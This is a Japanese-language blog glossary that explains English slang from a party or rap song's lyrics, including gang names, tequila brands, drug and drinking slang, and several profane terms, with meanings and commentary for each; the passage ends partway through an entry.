<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">Blood 、 Rollin’ 60s</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>Blood 、 Rollin’ 60s</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">ブラッズ、Rollin’ 60s Crips（ローリン・シックスティズ・クリップス）。実在するLAギャング</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">ストリート感マウント、半分ジョーク＋威嚇</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">Reposado</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>Reposado</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">レポサド。オーク樽で2ヶ月〜1年未満熟成させたテキーラ</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">安酒ではない酒を飲んでいる女をアピール</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">my ho</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2">my ho</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">女友達、ノリ仲間（かなり砕けた言い方）</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">侮辱だけど仲間内では軽い呼びかけ言葉</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">Don / Don Julio</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 64px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>Don / Don Julio</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">ドン フリオ。高級テキーラ</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 18px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 18px;">安酒ではない酒を飲んでいる女をアピール</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">talmbout</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>talmbout</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">（スラング）talking about の口語表現</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">黒人英語（AAVE）</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">DUI</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>DUI</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">飲酒・薬物運転。Driving Under the Influenceの略</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">笑い話にしてるのが超アメリカ的</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">GEICO</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>GEICO</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">ガイコ。アメリカ最大級の保険会社</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">「捕まっても保険あるし」という軽いネタ</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">drive the boat</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>drive the boat</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><span class="T286Pc" data-sfc-cp="" data-processed="true">コニャックボトルを直接ガンガン飲ませる</span>、パーティの主導権握る</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">TikTok由来スラング</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">text my ex</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>text my ex</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">元カレ、元カノに連絡</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">この歌詞では酔っ払って元彼にメールしちゃったという表現</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">typo</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>typo</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">typographical errorの略。本来「入力ミス」を意味するが、会話や歌詞では「うっかり送ったことを軽くごまかす言い訳」として使われる</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">特に酔って元恋人に連絡した場面などで、「誤送信。深い意味ないよ」と冗談めかして使われる表現</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">bitch</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 100%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2">bitch</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">この歌詞では女性を罵倒しているというより、ノリで声をかける際の呼びかけ言葉<br />もともとは「嫌な女」「性格のきつい女」**という強い侮辱語。ラップ、若者文化、仲間内では文脈次第で意味と温度がかなり変わる</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><span style="text-decoration: underline;"><strong>主な使われ方 4パターン</strong></span>
<p><strong><br />① そのまま侮辱（本来の意味）</strong><br />o クソ女<br />o うざい女<br />• 怒り・軽蔑・攻撃のニュアンス強め<br />• 知らない相手・公の場での使用はNG</p>
<p><strong>② 命令・ツッコミ的</strong><br />o おい<br />o ちょっと<br />o ねえ<br />• かなり乱暴だが、必ずしも本気の悪口ではない</p>
<p><strong>③ 仲間内・女性同士（意味が反転）</strong><br />o あんた<br />o お前<br />o 親しい女友達<br />• トーン次第で親しみ・強気・自信の表現<br />例：That bitch bad（あの子、マジでイケてる）</p>
<p><strong>④ 自称・セルフブランディング</strong><br />o 強い女<br />o 主役<br />o 自分を下げない存在<br />例：I’m that bitch（私が主役、私が最強）</p>
</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">yeen</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>yeen</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">you ain’t（＝ you are not / you don’t）の米国南部（特にテキサス、ルイジアナ周辺）訛り</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">黒人英語（AAVE）。ラップ、TikTok、日常会話の音写<br />※ 書き言葉ではほぼ使わない。発音をそのまま綴ったネット表記</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">throwin’ ass</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>throwin’ ass</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">激しく腰を振って踊る</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">かなり下ネタ寄り</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">you outside for / we outside</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>you outside for / we outside</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">家にいない、パーティ参加中、社交モードON、人生楽しんでいる、遊んでいる</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">Z世代万能フレーズ</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">finna</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>finna</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">going to や fixing to の短縮形。今から〜する、もうすぐ</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">AAVE定番。アメリカの黒人英語や南部方言に由来するスラング。これから何かをしようとする意思表示や、近いうちに〜する予定（about to）を示す際に使用</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">turnin’ up</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>turnin’ up</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">全力で盛り上がる、テンション爆上げ</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">酒、音楽、踊り、ドラッグ含む</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">sittin’ on the sideline</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>sittin’ on the sideline</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">輪に入らず傍観している、積極的に参加していない</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">スポーツの比喩から来た表現。この歌詞ではパーティに参加しない相手を軽く煽るニュアンスを含む</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">call up the plug up</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 100%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>call up the plug up</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">ドラッグの売人に連絡する</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>plug</strong><br />直訳：差し込み口<br />スラング： 供給元、つなぎ役、ディーラー（売人）
<p><strong>call up</strong><br />〜に電話する、〜に連絡を取る、〜を呼び出す</p>
<p><strong>call up the plug up</strong>と<strong>up</strong> が2回出てくるのは、文法的に正しいわけではなくリズムと強調のため</p>
</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">go up</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>go up</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">テンション爆上がり、人生や評価が上がる</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">この歌詞では完全に前者</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">booty goin’ dumb / stupid / retarded</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>booty goin’ dumb / stupid / retarded</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">ヒップの動きがヤバすぎる</td>
</tr>
